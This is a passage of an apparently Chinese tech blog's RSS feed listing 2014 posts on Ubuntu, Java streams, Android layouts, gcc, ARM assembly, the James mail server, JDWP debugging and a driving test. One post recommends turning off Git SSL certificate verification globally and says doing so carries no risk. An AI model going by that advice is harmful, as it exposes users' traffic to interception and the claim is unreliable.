      <description>1.新建虚拟机后开启虚拟机，当界面显示小图标时，按Esc键；&#xA;2.此时出现界面如下所示，选择中文；&#xA;3.进入系统后界面如图所示；&#xA;4.桌面右击，选择“更改桌面背景”，并点击，出现如下图所示；&#xA;5.点击左上角“全部设置”，显示界面如图所示：&#xA;6.硬件中选择“显示”，并点击，显示如下图所示；&#xA;7.此时可选择更改分辨率，使用Tab键到确定，更改分辨率后可进行后续操作，点击桌面安装ubuntu可按提示安装系统。</description>
    </item>
    <item>
      <title>OutputStream转InputStream的两种方案</title>
      <link>https://bchobby.github.io/posts/b78dc179c6e66498e016a280a694c486/</link>
      <pubDate>Thu, 27 Nov 2014 09:46:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b78dc179c6e66498e016a280a694c486/</guid>
      <description>项目中需要将动态数据填充到模板中后生成的文件与其他用户上传的文件打包供审批人员下载，思路简单。但问题来了，利用freemaker将动态数据填充玩后会将流写入一个给定的OutputStream中，如果将此文件流存入物理硬盘，打包的时候再去下载。对物理硬盘的IO性能差不说，还占资源，果断否决。&#xA;方案一： ByteArrayOutputStream&#xA;此方案简单粗爆，如果遇到OutputStream写入的数据非常大的时间，就苦逼了，有内存溢出的风险，所以，勿必慎用。&#xA;public void testFrByteArray() throws Exception { // 业务对象,此处仅给空对象做示例,Freemarker将此model解析替换模板中的标签,生成业务文件. Object model = new Object(); // 新建字节输出流,Freemarker操作此输出流写入生成的业务文件. ByteArrayOutputStream out = new ByteArrayOutputStream(); // 自定义工具类,封装Freemarker操作细节 FreemarkerUtils.renderTemplate(out, model, &#34;template.xml&#34;); // 将outputstream转成inputstream ByteArrayInputStream in = new ByteArrayInputStream(out.toByteArray()); FileOutputStream fos = new FileOutputStream(&#34;D:\\test\result.rar&#34;); ZipOutputStream zip = new ZipOutputStream(fos); // 生成压缩文件 ZipUtils.add(zip, in, &#34;template-res.doc&#34;, true); } 方案二：PipedInputStream与PipedOutputStream&#xA;此方案有点高大上，但操作和理解起来有点难度。先看一下官方API的说明:&#xA;PipedInputStream，管道输入流应该连接到管道输出流；管道输入流提供要写入管道输出流的所有数据字节。通常，数据由某个线程从PipedInputStream 对象读取， 并由其他线程将其写入到相应的 PipedOutputStream。不建议对这两个对象尝试使用单个线程，因为这样可能死锁线程。管道输入流包含一个缓冲区，可在缓冲区限定的 范 围内将读操作和写操作分离开。如果向连接管道输出流提供数据字节的线程不再存在，则认为该管道已损坏。&#xA;红色字体部分很重要，因为很不巧笔者在这上面摔跟头了。&#xA;PipedOutputStream，可以将管道输出流连接到管道输入流来创建通信管道。管道输出流是管道的发送端。通常，数据由某个线程写入PipedOutputStream 对象，并由 其他线程从连接的PipedInputStream 读取。不建议对这两个对象尝试使用单个线程，因为这样可能会造成该线程死锁。如果某个线程正从连接的管道输入流中读取数据字节，但该线程不再处于活动状态，则该管道被视为处于毁坏状态。&#xA;通过官方API的两段解释，大概能摸到这种实现方式的设计思路了：PipedOutputStream(生产者)生产数据，PipedInputStream(消费者)读取数据，二者同步进行。但谁也不能先挂掉，一旦挂掉，管道便处于损坏状态。&#xA;public void testFrPiped() throws IOException { // 业务对象,此处仅给空对象做示例,Freemarker将此model解析替换模板中的标签,生成业务文件.</description>
    </item>
    <item>
      <title>css input 输入框背景透明</title>
      <link>https://bchobby.github.io/posts/b344b661329e4a66c686e05778c2c4e6/</link>
      <pubDate>Tue, 25 Nov 2014 11:06:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b344b661329e4a66c686e05778c2c4e6/</guid>
      <description> INPUT 背景色设置为透明 BACKGROUND-COLOR: transparent; 例如： &amp;lt;input nam=&#34;&#34; style=&#34;BACKGROUND-COLOR: transparent;&#34;/&amp;gt; </description>
    </item>
    <item>
      <title>GridView设置横向滚动</title>
      <link>https://bchobby.github.io/posts/d9c973d1fa9cf15cbbf739cc44dafb44/</link>
      <pubDate>Mon, 24 Nov 2014 10:59:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d9c973d1fa9cf15cbbf739cc44dafb44/</guid>
      <description>最近项目中需要使用到GridView，由于文字太长，内容多时竖直滚动GridView显得比较难看，于是找了一些资料发现可以实现GridView横向滚动。首先让GridView横向滚动需要HorizontalScrollView这个控件，例如：&#xA;main.xml布局：&#xA;&amp;lt;LinearLayout xmlns:android=&#34;http://schemas.android.com/apk/res/android&#34;&#xA;xmlns:tools=&#34;http://schemas.android.com/tools&#34;&#xA;android:layout_width=&#34;fill_parent&#34;&#xA;android:layout_height=&#34;fill_parent&#34; &amp;gt;&#xA;&amp;lt;HorizontalScrollView&#xA;android:layout_width=&#34;fill_parent&#34;&#xA;android:layout_height=&#34;wrap_content&#34;&#xA;android:scrollbars=&#34;none&#34; &amp;gt;&#xA;&amp;lt;LinearLayout&#xA;android:layout_width=&#34;fill_parent&#34;&#xA;android:layout_height=&#34;wrap_content&#34;&#xA;android:orientation=&#34;horizontal&#34; &amp;gt;&#xA;&amp;lt;GridView&#xA;android:id=&#34;@+id/gridview&#34;&#xA;android:layout_width=&#34;fill_parent&#34;&#xA;android:layout_height=&#34;wrap_content&#34;&#xA;android:layout_gravity=&#34;center&#34; &amp;gt;&#xA;&amp;lt;/GridView&amp;gt;&#xA;&amp;lt;/LinearLayout&amp;gt;&#xA;&amp;lt;/HorizontalScrollView&amp;gt;&#xA;&amp;lt;/LinearLayout&amp;gt;&#xA;&amp;lt;span style=&#34;font-family:&#39;Microsoft YaHei&#39;;font-size:14px;&#34;&amp;gt;&amp;lt;LinearLayout xmlns:android=&#34;http://schemas.android.com/apk/res/android&#34; xmlns:tools=&#34;http://schemas.android.com/tools&#34; android:layout_width=&#34;fill_parent&#34; android:layout_height=&#34;fill_parent&#34; &amp;gt; &amp;lt;HorizontalScrollView android:layout_width=&#34;fill_parent&#34; android:layout_height=&#34;wrap_content&#34; android:scrollbars=&#34;none&#34; &amp;gt; &amp;lt;LinearLayout android:layout_width=&#34;fill_parent&#34; android:layout_height=&#34;wrap_content&#34; android:orientation=&#34;horizontal&#34; &amp;gt; &amp;lt;GridView android:id=&#34;@+id/gridview&#34; android:layout_width=&#34;fill_parent&#34; android:layout_height=&#34;wrap_content&#34; android:layout_gravity=&#34;center&#34; &amp;gt; &amp;lt;/GridView&amp;gt; &amp;lt;/LinearLayout&amp;gt; &amp;lt;/HorizontalScrollView&amp;gt; &amp;lt;/LinearLayout&amp;gt;&amp;lt;/span&amp;gt; 以上是主要布局，然后我们写GridView中每个item中的布局，比较简单，只是给大家介绍 &amp;lt;LinearLayout xmlns:android=&#34;http://schemas.android.com/apk/res/android&#34;&#xA;xmlns:tools=&#34;http://schemas.android.com/tools&#34;&#xA;android:layout_width=&#34;fill_parent&#34;&#xA;android:layout_height=&#34;wrap_content&#34;&#xA;android:orientation=&#34;vertical&#34; &amp;gt;&#xA;&amp;lt;ImageView&#xA;android:layout_width=&#34;100dp&#34;&#xA;android:layout_height=&#34;100dp&#34;&#xA;android:background=&#34;#00ff00&#34; /&amp;gt;</description>
    </item>
    <item>
      <title>错误:unrecognized command line option “-std=c&#43;&#43;11”</title>
      <link>https://bchobby.github.io/posts/52ccb232f9df79e68ce016130c648a8e/</link>
      <pubDate>Sun, 23 Nov 2014 13:32:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/52ccb232f9df79e68ce016130c648a8e/</guid>
      <description>出现这个编译错误的原因在g++ gcc 版本不够高。&#xA;添加源（Ubuntu） ? 1 2 $ sudo add-apt-repository ppa:ubuntu-toolchain-r/test $ sudo apt-get update 安装4.8版本 1 $ sudo apt-get install gcc- 4.8 g++- 4.8 查看本地安装版本 ? 1 2 3 $ ls -lh /usr/bin/g++* 这里应该可以看到本机安装了 4.6 和 4.8 两个版本。 切换版本 ? 1 2 3 4 5 sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc- 4.6 60 --slave /usr/bin/g++ g++ /usr/bin/g++- 4.6 sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc- 4.8 40 --slave /usr/bin/g++ g++ /usr/bin/g++- 4.</description>
    </item>
    <item>
      <title>Silverlight/WPF绘制统计图Visifire.dll文件</title>
      <link>https://bchobby.github.io/posts/fcba82a35a03cdb11b0d15ebf8d79cfe/</link>
      <pubDate>Thu, 20 Nov 2014 15:36:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fcba82a35a03cdb11b0d15ebf8d79cfe/</guid>
      <description>官网：http://www.visifire.com/&#xA;一直没找到好的中文文档，希望有的这个的可以发个我！&#xA;效果图：&#xA;前台代码：&#xA;&amp;lt;UserControl x:Class=&#34;Text_Visifire.MainPage&#34; xmlns=&#34;http://schemas.microsoft.com/winfx/2006/xaml/presentation&#34; xmlns:x=&#34;http://schemas.microsoft.com/winfx/2006/xaml&#34; xmlns:d=&#34;http://schemas.microsoft.com/expression/blend/2008&#34; xmlns:mc=&#34;http://schemas.openxmlformats.org/markup-compatibility/2006&#34; xmlns:vc=&#34;clr-namespace:Visifire.Charts;assembly=SLVisifire.Charts&#34; mc:Ignorable=&#34;d&#34; xmlns:navigation=&#34;clr-namespace:System.Windows.Controls;assembly=System.Windows.Controls.Navigation&#34; d:DesignWidth=&#34;1200&#34; d:DesignHeight=&#34;680&#34;&amp;gt; &amp;lt;Grid x:Name=&#34;LayoutRoot&#34;&amp;gt; &amp;lt;StackPanel Orientation=&#34;Horizontal&#34; &amp;gt; &amp;lt;!--第一個Chart--&amp;gt; &amp;lt;vc:Chart Grid.Row=&#34;0&#34; Name=&#34;chtChartOne&#34; Width=&#34;390&#34;&amp;gt; &amp;lt;vc:Chart.AxesY&amp;gt; &amp;lt;!--Y間隔--&amp;gt; &amp;lt;vc:Axis Interval=&#34;20&#34; Suffix=&#34;%&#34;/&amp;gt; &amp;lt;/vc:Chart.AxesY&amp;gt; &amp;lt;/vc:Chart&amp;gt; &amp;lt;StackPanel&amp;gt; &amp;lt;Grid x:Name=&#34;ChartPanel&#34; Height=&#34;250&#34; Width=&#34;500&#34;&amp;gt; &amp;lt;/Grid&amp;gt; &amp;lt;Grid x:Name=&#34;ChartLine&#34; Height=&#34;300&#34; Width=&#34;500&#34;&amp;gt; &amp;lt;/Grid&amp;gt; &amp;lt;/StackPanel&amp;gt; &amp;lt;StackPanel&amp;gt; &amp;lt;Grid x:Name=&#34;Chart1&#34; Height=&#34;250&#34; Width=&#34;500&#34;&amp;gt; &amp;lt;/Grid&amp;gt; &amp;lt;Grid x:Name=&#34;Chart2&#34; Height=&#34;300&#34; Width=&#34;500&#34;&amp;gt; &amp;lt;/Grid&amp;gt; &amp;lt;/StackPanel&amp;gt; &amp;lt;/StackPanel&amp;gt; &amp;lt;!--第二個Chart--&amp;gt; &amp;lt;!--&amp;lt;vc:Chart Grid.Row=&#34;1&#34; Name=&#34;chtChartTwo&#34;&amp;gt; &amp;lt;vc:Chart.AxesY&amp;gt; &amp;lt;vc:Axis Interval=&#34;20&#34; Suffix=&#34;%&#34;/&amp;gt; &amp;lt;/vc:Chart.AxesY&amp;gt; &amp;lt;vc:Chart.Series&amp;gt; &amp;lt;vc:DataSeries RenderAs=&#34;Column&#34; LabelEnabled=&#34;</description>
    </item>
    <item>
      <title>WPF 屏蔽Alt&#43;F4强制退出</title>
      <link>https://bchobby.github.io/posts/f15cf644cf8b87e8f0db9bbcb7a9e897/</link>
      <pubDate>Tue, 11 Nov 2014 11:13:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f15cf644cf8b87e8f0db9bbcb7a9e897/</guid>
      <description>if (e.KeyStates == Keyboard.GetKeyStates(Key.F4) &amp;amp;&amp;amp; Keyboard.Modifiers == ModifierKeys.Alt) { e.Handled = true; } 转载于:https://www.cnblogs.com/gaobing/p/4088968.html</description>
    </item>
    <item>
      <title>驾校考试科目二完整流程</title>
      <link>https://bchobby.github.io/posts/cf2210c98760f54fc7a6e6caead0755d/</link>
      <pubDate>Sun, 09 Nov 2014 15:54:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cf2210c98760f54fc7a6e6caead0755d/</guid>
      <description> 科目二考试流程相关总结 一、起步准备（按如下顺序起步）： 1. 调整后视镜。&#xA;2. 调整座椅到舒适的位置。&#xA;3. 系好安全带。&#xA;4. 听到电脑播报考试开始语音提示，或引导员告诉你可以起步。&#xA;5. 打左转向灯。&#xA;6. 松手刹，踩离合，挂一档，松离合起步。&#xA;注意点：一定要电脑播报开始考试后在打转向等、挂一档松离合，提前操作无效扣分。开清车头属于1号路线还是2号路线，走错路线不合格。&#xA;二、坡道定点停车（按如下顺序起步）： 1. 当窗花对准坡道提示标杆向右打满方向，当车身摆正时回正。&#xA;2. 保持车身左经线对准坡道左侧短线的右端，距离右端但还未到右端大约5cm的距离。缓慢径直开车上去。（身材比较高大的同学，需要杆子当对准窗花和皮条之间时打满方向，这个视个人情况微调）&#xA;3. 当收音机的顶角和小孔右侧1/4区间某个位置对准时，果断踩刹车（视个人情况而定，有的人是当红杆子和隔壁的栏杆子对齐时踩刹车，这个每个教练一种教法）。&#xA;4. 松离合抬刹车（我就是这个时候挂了，按照教练的教法，松离合当车微震时，松刹车，这种方法操控教练的车，毫无问题，但是用考试的车一试就会熄火,我熄火了10多次，网上找的其他答案是，离合一直不要动，然后缓慢的松刹车，就不会有问题的，这个方案待尝试）。&#xA;注意点：千万不好松离合再抬刹车，这样百分之百熄火，按照教练教的方式操控考试的车保准挂。另外注意上坡道最好走 1、3号车道，因为1、3号车道直接对准了直角转弯。&#xA;三、直角转弯（按如下顺序起步）： 1. 左边的镜子下面的缝对准直角的边框驶入车道，当右侧的窗花对准边线时向右打满方向，即通过。&#xA;注意点：身材高大的同学，需要将右边线在窗花和皮条之间时再向右打满方向，这个问题都不大。&#xA;四、曲线行驶（按如下顺序起步）： 1. 将车的正中央对准曲线行驶四个字的右侧位置驶入车道。同时看下左右两侧是否等宽，一般对转字的右侧都会等宽的。&#xA;2. 当左车头对准边线时，向左打一圈多一点，并适当修正保持左车头沿着曲线走。当转过S的第一道弯时，保持方向盘是一圈多一点，一直向前开，当左车头和曲线再次重合时，将方向回正，径直向前开，当车右经线与曲线交叉时，向右打方向一圈多一点，保持右车头与曲线有一拳头的距离。&#xA;3. 出曲线弯道，这个时候一定要保持车屁股出了曲线弯道到了安全区域再打方向，此时如果是2号路线需要修方向才能到侧方停车车道，1号线则直接对准侧方停车的位置。如果引导员朝你示意转弯，也不用鸟他，一定要保持出了车道到安全区域再调整。否则挂掉责任自负。&#xA;五、侧方停车（按如下顺序起步）： 1. 在安全位置看下后视镜是否ok。一般是左后视镜可以看到车把手在镜子的中上沿，右后视镜可以看到车把手在中间的位置。&#xA;2. 将车的左侧经线对准车道“侧方停车”四个字的单人旁，然后径直驶入车道，并仔细看前面是否有四根短线，当左经线与第二根短线的右侧对准时ok，没有对准时则要微调。当肩膀超过大树一点时刹车。&#xA;3. 挂倒档，打左转向灯。当肩膀对准台阶时，向右打满方向，当左后视镜看到车把手与后边的铁杠子的右侧圆弧重合时，回正方向，看到左后视镜虚线到达镜子的下沿右侧1/3的位置时，向左打满方向。当车身摆正时刹车。（此时可以将车身向里也一点，也就是多倒一点，保证倾斜的前轮能在车框里）。&#xA;4. 挂前进挡，打左转向灯。方向不动，当左经线与前面的黄线交叉时，回正方向。当前车盖的中线与前面的黄线交叉时，向右打一圈，当车身回正时回正方向。径直向前开，保证车到了安全位置再转向。&#xA;注意：操作比较多，一定不要忘了挂档和转向灯。&#xA;六、倒车入库（按如下顺序起步）： 1. 从侧方停车出来，径直向前开，当左后视镜上沿改过黄线时，向左打一圈，当左车头与花台交叉时，回正方向，并迅速向右打一圈。径直开，看到左侧经线对准前面4根短线中的第二根的左侧时径直驶入ok，没有对准时则要微调。保证车子的左后视镜驶过前面的短线一段距离后，一般是肩膀与大树对齐时刹车。挂倒档，打左转向灯。观察右后视镜，当右侧角度较小时，提前回正半圈，并适当微调。将车身摆正导库，当左后视镜与前面的黄线重合时刹车。&#xA;2. 打左转向灯，挂前进挡，当肩膀超过黄线10cm时向左打一圈1/4保证车轮压过左侧黄线再刹车。&#xA;3. 方向盘不动，挂倒档，倒库。微调方向驶入。当左后视镜与黄线重合时刹车。&#xA;4. 打右转向灯，当车盖与黄线重合时向左打满，当车身回正时回正方向。当肩膀和花台对齐时向右打满，驶入引导员所在的位置，这是应该会报考试合格了！恭喜你。&#xA;ps：以上是个人挂过一次的经验的总结和备忘录，不保证权威。仅供参考，如果描述的有什么错误导致哪位读者挂掉，本人不负任何责任哈！哈哈！&#xA;七、补考通过序：&#xA;本人在隔年补考通过了科目二考试，在这里总结下坡道定点，离合控制的方法。上次挂掉属于离合没有控制好，上坡时，瞄准适当位置刹车，踩下刹车，同时尽量保持踩离合那只脚不动，然后打转向灯起步时，特别慢的稍微抬起离合，然后慢慢的将刹车和离合一起抬起，当车向前走时，慢慢上坡。切忌离合或者刹车抬的太快。&#xA;oooO ↘┏━┓ ↙ Oooo ( 踩)→┃你┃ ←(死 ) \ ( →┃√┃ ← ) / \_)↗┗━┛ ↖(_/ </description>
    </item>
    <item>
      <title>ARM汇编指令(B/BL/BX) - (8)  (转)</title>
      <link>https://bchobby.github.io/posts/8d2e5adf5fa5408ed30493cd17ab375c/</link>
      <pubDate>Fri, 07 Nov 2014 14:18:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8d2e5adf5fa5408ed30493cd17ab375c/</guid>
      <description>跳转指令用于实现程序流程的跳转，在 ARM 程序中有两种方法可以实现程序流程的跳转： (1) 使用专门的跳转指令。 (2) 直接向程序计数器 PC 写入跳转地址值。 通过向程序计数器 PC 写入跳转地址值，可以实现在 4GB 的地址空间中的任意跳转，在跳转之前结合使用 MOV LR ， PC 等类似指令，可以保存将来的返回地址值，从而实现在 4GB 连续的线性地址空间的子程序调用。 ===============================================&#xA;ARM 指令集中的跳转指令可以完成从当前指令向前或向后的 32MB 的地址空间的跳转，包括以下 4 条指令： (1) B 跳转指令 (2) BL 带返回的跳转指令 (3) BLX 带返回和状态切换的跳转指令 (4) BX 带状态切换的跳转指令 1、 B 指令 B 指令的格式为： B{条件} 目标地址 B 指令是最简单的跳转指令。一旦遇到一个 B 指令，ARM 处理器将立即跳转到给定的目标地址，从那里继&#xA;续执行。注意存储在跳转指令中的实际值是相对当前PC 值的一个偏移量，而不是一个绝对地址，它的值由汇编器来计算（参考寻址方式中的相对寻址）。它是 24 位有符号数，左移两位后有符号扩展为 32 位，表示的有效偏移为 26 位(前后32MB 的地址空间)。以下指令： B Label ；程序无条件跳转到标号 Label 处执行 CMP R1 ，＃ 0 ；当 CPSR 寄存器中的 Z 条件码置位时，程序跳转到标号 Label 处执行 BEQ Label 2、 BL 指令 BL 指令的格式为： BL{条件} 目标地址 BL 是另一个跳转指令，但跳转之前，会在寄存器R14 中保存PC 的当前内容，因此，可以通过将R14 的内容重新加载到PC 中，来返回到跳转指令之后的那个指令处执行。该指令是实现子程序调用的一个基本但常用的手段。以下指令： BL Label ；当程序无条件跳转到标号 Label 处执行时，同时将当前的 PC 值保存到 R14 中 3、 BLX 指令 BLX 指令的格式为： BLX 目标地址 BLX 指令从ARM 指令集跳转到指令中所指定的目标地址，并将处理器的工作状态有ARM 状态切换到Thumb 状态，该指令同时将PC 的当前内容保存到寄存器R14 中。因此，当子程序使用Thumb 指令集，而调用者使用ARM 指令集时，可以通过BLX 指令实现子程序的调用和处理器工作状态的切换。 同时，子程序的返回可以通过将寄存器R14 值复制到PC 中来完成。 4、 BX 指令 BX 指令的格式为： BX{条件} 目标地址 BX 指令跳转到指令中所指定的目标地址，目标地址处的指令既可以是ARM 指令，也可以是Thumb指令。</description>
    </item>
    <item>
      <title>apache james安装</title>
      <link>https://bchobby.github.io/posts/d06fdfb448cdd56d403fc78380a52f2f/</link>
      <pubDate>Wed, 29 Oct 2014 11:31:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d06fdfb448cdd56d403fc78380a52f2f/</guid>
      <description>linux下安装james邮件服务器，搞了一天终于搞定，mark一下！！ 我安装的版本是apache-james-2.3.2.tar.gz，据说新版本比较简单(本人没有尝试，毕竟新版本目前都是beta版) 好了开始安装的步骤 1、lsof -i:25，使用这个命令检查25端口是否被占用，如果安装了sendmail，需要手工关闭（网上的文章比较多 这里不再赘述，读者去问谷哥或者度娘吧） 2、下载james-2.3.2的版本，可以通过apache官网获得，链接地址是：http://mirrors.hust.edu.cn/apache//james/server/apache-james-2.3.2.tar.gz 3、在自己喜欢的目录下下载并解压安装文件，笔者的安装的目录在/usr/local/james目录下(需要先mkdir james) 4、# tar zxvf apache-james-2.3.2.tar.gz，解压后，会多了一个目录james-2.3.2 5、进入james-2.3.2/bin目录，运行run.sh，生成james的配置文件config.xml： 6、# sh run.sh run.sh: line 37: /usr/local/james-2.3.2/bin/phoenix.sh: 权限不够 权限不够（估计是解压后run.sh文件没有赋予执行权限），可以执行以下命令： # chmod +x run.sh phoenix.sh 然后再次运行run.sh命令： # sh run.sh Using PHOENIX_HOME: /usr/local/james/james-2.3.2 Using PHOENIX_TMPDIR: /usr/local/james/james-2.3.2/temp Using JAVA_HOME: /usr/java/jdk1.5.0 Running Phoenix: Phoenix 4.2 James Mail Server 2.3.2 Remote Manager Service started plain:4555 POP3 Service started plain:110 SMTP Service started plain:25 NNTP Service started plain:119 FetchMail Disabled 说明James启动成功。 7、按Ctrl + C退出James，编辑config.</description>
    </item>
    <item>
      <title>Xcode Command Line Tools(命令行工具)</title>
      <link>https://bchobby.github.io/posts/b3d4ec50c806fc7cba96cf8fec1d0644/</link>
      <pubDate>Tue, 28 Oct 2014 22:45:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b3d4ec50c806fc7cba96cf8fec1d0644/</guid>
      <description>OS X 10.9 Mavericks正式发布，免费更新，立即去更新看看效果。 不过升级后安装命令行工具(Command Line Tools)时发现官网没有clt的下载安装包了，原来改了，使用命令在线安装。&#xA;打开终端，输入命令：xcode-select --install</description>
    </item>
    <item>
      <title>Phone may be running a version of iOS that is not supported by this version of Xcode.</title>
      <link>https://bchobby.github.io/posts/4576fad0c01e67b7c586a1bbf53df4ba/</link>
      <pubDate>Thu, 23 Oct 2014 18:23:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4576fad0c01e67b7c586a1bbf53df4ba/</guid>
      <description> 手机系统的版本相对于Xcode的版本比较高，将xcode的版本升级就行了。 </description>
    </item>
    <item>
      <title>VC中枚举所有的任务，任务管理器的一些资料的整理</title>
      <link>https://bchobby.github.io/posts/0195fede300d856b8849f3a1290cb66f/</link>
      <pubDate>Wed, 22 Oct 2014 11:23:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0195fede300d856b8849f3a1290cb66f/</guid>
      <description>1.列举所有的任务&#xA;调用EnumWindows这个函数 BOOL EnumWindows( WNDENUMPROc lpEnumFunc, // callback f1.列举所有的任务&#xA;1.列举所有的任务1.列举所有的任务&#xA;调用EnumWindows这个函数&#xA;BOOL EnumWindows(&#xA;WNDENUMPROc lpEnumFunc, // callback function&#xA;LPARAM lParam // application-defined value&#xA;); 如: ::EnumWindows((WNDENUMPROc)enumProc,(LPARAM)this);&#xA;enumProc就是那个回调函数，真正的操作，都在这个函数里实现&#xA;第二个参数，是用户自定义传送的，比如这里，可以是对话框的指针&#xA;enumProc的原型是&#xA;BOOL cALLBAcK cPListDlg::enumProc(HWND hwnd, LPARAM lParam)&#xA;如果是类成员函数，必须是static函数，声明如下&#xA;BOOL static cALLBAcK enumProc(HWND hwnd, LPARAM lParam);&#xA;其中，那个HWND hwnd就是窗口句柄&#xA;BOOL cALLBAcK cPListDlg::enumProc(HWND hwnd, LPARAM lParam)&#xA;{&#xA;cPListDlg * pDlg = (cPListDlg *)lParam;&#xA;if (hwnd == NULL)&#xA;{&#xA;return FALSE;&#xA;}&#xA;if (hwnd == pDlg-&amp;gt;m_hWnd)　//这是为了不把自己这个程序列出来，呵呵</description>
    </item>
    <item>
      <title>Java远程调试 java -Xdebug各参数说明</title>
      <link>https://bchobby.github.io/posts/67015df636b409a0b2b1d30a4285cffe/</link>
      <pubDate>Mon, 20 Oct 2014 13:18:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/67015df636b409a0b2b1d30a4285cffe/</guid>
      <description>首先，JAVA自身支持调试功能，并提供了一个简单的调试工具－－JDB，类似于功能强大的GDB，JDB也是一个字符界面的 调试环境，并支持设置断点，支持线程线级的调试。 JAVA的调试方法如下： 1。首先支持JVM，并设置参数，使之工作在DEBUG模式下，加入参数：-Xdebug -Xrunjdwp,transport=dt_socket,server=y,address=5432,suspend=n,onthrow=java.io.IOException,launch=/sbin/echo 其中，-Xdebug是通知JVM工作在DEBUG模式下，-Xrunjdwp是通知JVM使用(java debug wire protocol)来运行调试环境。该参数同时了一系列的调试选项： transport指定了调试数据的传送方式，dt_socket是指用SOCKET模式，另有dt_shmem指用共享内存方式，其中，dt_shmem只适用于Windows平台。 server参数是指是否支持在server模式的VM中. onthrow指明，当产生该类型的Exception时，JVM就会中断下来，进行调式。该参数可选。 launch指明，当JVM被中断下来时，执行的可执行程序。该参数可选 suspend指明，是否在调试客户端建立起来后，再执行JVM。 onuncaught(=y或n)指明出现uncaught exception 后，是否中断JVM的执行. 虚拟机参数设置 1．启用调试服务 -Xdebug 启用调试 -Xrunjdwp:&amp;lt;sub-options&amp;gt; 加载JVM的JPDA参考实现库 2．Xrunjdwp子参数（sub-options）配置 Xrunjdwp子参数的配置格式如下 -Xrunjdwp:&amp;lt;name1&amp;gt;[=&amp;lt;value1&amp;gt;],&amp;lt;name2&amp;gt;[=&amp;lt;value2&amp;gt;]... 几个例子 -Xrunjdwp:transport=dt_socket,server=y,address=8000 在8000端口监听Socket连接，挂起VM并且不加载运行主函数直到调试请求到达 -Xrunjdwp:transport=dt_shmem,server=y,suspend=n 选择一个可用的共享内存（因为没有指address）并监听该内存连接，同时加载运行主函数 -Xrunjdwp:transport=dt_socket,address=myhost:8000 连接到myhost:8000提供的调试服务（server=n，以调试客户端存在），挂起VM并且不加载运行主函数 -Xrunjdwp:transport=dt_shmem,address=mysharedmemory 通过共享内存的方式连接到调试服务，挂起VM并且不加载运行主函数 -Xrunjdwp:transport=dt_socket,server=y,address=8000, onthrow=java.io.IOException,launch=/usr/local/bin/debugstub 等待java.io.IOException被抛出，然后挂起VM并监听8000端口连接，在接到调试请求后以命令/usr/local/bin/debugstub dt_socket myhost:8000执行 -Xrunjdwp:transport=dt_shmem,server=y,onuncaught=y,launch=d:\bin\debugstub.exe 等待一个RuntimeException被抛出，然后挂起VM并监听一个可用的共享内存，在接到调试请求后以命令d:\bin\debugstub.exe dt_shmem &amp;lt;address&amp;gt;执行,&amp;lt;address&amp;gt;是可用的共享内存 2。启动调试工具。 最简单的调试工具就是上面提到的JDB，以上述调试用JVM为例，可以用下面的命运行启动JDB： jdb -connect com.sun.jdi.SocketAttach:port=5432,hostname=192.168.11.213 另外，还有好多的可视化调试工具，如 eclipse,jsawt等等。Eclipses可用 ant debug来建立一个调试方法。 其实就是使用了JDK的JPDA，在启动服务器（Jboss或者Tomcat等）的命令行参数里面加上： -Xdebug -Xrunjdwp:transport=dt_socket,address=8787,server=y,suspend=n Java远程调试 -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,address=3999,suspend=n -XDebug 启用调试。 -Xnoagent 禁用默认sun.tools.debug调试器。 -Djava.compiler=NONE 禁止 JIT 编译器的加载。 -Xrunjdwp 加载JDWP的JPDA参考执行实例。 transport 用于在调试程序和 VM 使用的进程之间通讯。 dt_socket 套接字传输。 dt_shmem 共享内存传输，仅限于 Windows。 server=y/n VM 是否需要作为调试服务器执行。 address=3999 调试服务器的端口号，客户端用来连接服务器的端口号。 suspend=y/n 是否在调试客户端建立连接之后启动 VM 。 Resin: RESIN_HOME\bin\httpd.</description>
    </item>
    <item>
      <title>执行Git命令时出现各种 SSL certificate problem 的解决办法</title>
      <link>https://bchobby.github.io/posts/33712b44e4cabf82aee0422cad5493b5/</link>
      <pubDate>Sat, 11 Oct 2014 10:45:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/33712b44e4cabf82aee0422cad5493b5/</guid>
      <description> 比如我在windows下用git clone gitURL&#xA;就提示 SSL certificate problem: self signed certificate&#xA;这种问题，在windows下出现得频率高些。我估计主要是git本身就是基于linux开发的，在windows上，容易缺失一些环境。&#xA;参考了一些文章，解决方法其实就是“直接不管ssl证书的事儿”-_-|||&#xA;方法如下：&#xA;1.创建临时环境变量：&#xA;windows上命令行输入：&#xA;set GIT_SSL_NO_VERIFY=true git clone Linux下：&#xA;env GIT_SSL_NO_VERIFY=true git push 这里clon可以根据需要换成其他的git命令。&#xA;也可以把临时环境变量变为永久的，反正永远不验证ssl证书也没什么风险吧。。。&#xA;2.用git自带的配置命令：&#xA;git config --global http.sslVerify false 问题解决。 </description>
    </item>
    <item>
      <title>ubuntu12.04 thinkpad的touchpad设置</title>
      <link>https://bchobby.github.io/posts/5f4a67158fcc77a76897c6e9fca1f019/</link>
      <pubDate>Tue, 07 Oct 2014 10:43:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5f4a67158fcc77a76897c6e9fca1f019/</guid>
      <description>Thinkpad T440s的触摸板是整体触摸板，需要在ubuntu中重新设置：&#xA;1. Working Left, Middle and Right Buttons at the TOP of the touchpad (good ol&#39; Thinkpad style)&#xA;2. There is no motion in the ~ upper half of the touchpad (so clicking does not move the pointer)&#xA;3. The bottom half is still usable as touchpad (although with less speed settings such as the already posted config here before)&#xA;4. The 65%/35% threshold nearly exactly matches the touchpad print, so if you are able to feel the dots in the middle, you can be sure its the middle mouse button</description>
    </item>
    <item>
      <title>ubuntu12.04登录界面黑屏</title>
